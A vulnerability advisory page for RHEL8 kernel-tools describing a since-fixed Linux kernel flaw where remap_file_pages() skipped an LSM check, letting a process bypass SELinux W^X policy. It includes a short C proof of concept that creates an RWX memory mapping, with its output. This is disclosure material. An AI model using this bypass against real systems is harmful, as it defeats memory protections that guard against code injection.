Always-Incorrect Control Flow Implementation Affecting kernel-tools package, versions *


Severity

Recommended
0.0
medium
0
10

Based on Red Hat Enterprise Linux security rating

    Threat Intelligence

    EPSS
    0.04% (6th percentile)

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  • Snyk ID SNYK-RHEL8-KERNELTOOLS-8285989
  • published 23 Oct 2024
  • disclosed 21 Oct 2024

How to fix?

There is no fixed version for RHEL:8 kernel-tools.

NVD Description

Note: Versions mentioned in the description apply only to the upstream kernel-tools package and not the kernel-tools package as distributed by RHEL. See How to fix? for RHEL:8 relevant fixed versions and status.

In the Linux kernel, the following vulnerability has been resolved:

mm: call the security_mmap_file() LSM hook in remap_file_pages()

The remap_file_pages syscall handler calls do_mmap() directly, which doesn't contain the LSM security check. And if the process has called personality(READ_IMPLIES_EXEC) before and remap_file_pages() is called for RW pages, this will actually result in remapping the pages to RWX, bypassing a W^X policy enforced by SELinux.

So we should check prot by security_mmap_file LSM hook in the remap_file_pages syscall handler before do_mmap() is called. Otherwise, it potentially permits an attacker to bypass a W^X policy enforced by SELinux.

The bypass is similar to CVE-2016-10044, which bypass the same thing via AIO and can be found in [1].

The PoC:

$ cat > test.c

int main(void) { size_t pagesz = sysconf(_SC_PAGE_SIZE); int mfd = syscall(SYS_memfd_create, "test", 0); const char *buf = mmap(NULL, 4 * pagesz, PROT_READ | PROT_WRITE, MAP_SHARED, mfd, 0); unsigned int old = syscall(SYS_personality, 0xffffffff); syscall(SYS_personality, READ_IMPLIES_EXEC | old); syscall(SYS_remap_file_pages, buf, pagesz, 0, 2, 0); syscall(SYS_personality, old); // show the RWX page exists even if W^X policy is enforced int fd = open("/proc/self/maps", O_RDONLY); unsigned char buf2[1024]; while (1) { int ret = read(fd, buf2, 1024); if (ret <= 0) break; write(1, buf2, ret); } close(fd); }

$ gcc test.c -o test $ ./test | grep rwx 7f1836c34000-7f1836c35000 rwxs 00002000 00:01 2050 /memfd:test (deleted)

[PM: subject line tweaks]

CVSS Scores

version 3.1
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NVD

7.8 high
  • Attack Vector (AV)
    Local
  • Attack Complexity (AC)
    Low
  • Privileges Required (PR)
    Low
  • User Interaction (UI)
    None
  • Scope (S)
    Unchanged
  • Confidentiality (C)
    High
  • Integrity (I)
    High
  • Availability (A)
    High
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Red Hat

5.5 medium
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SUSE

6.4 medium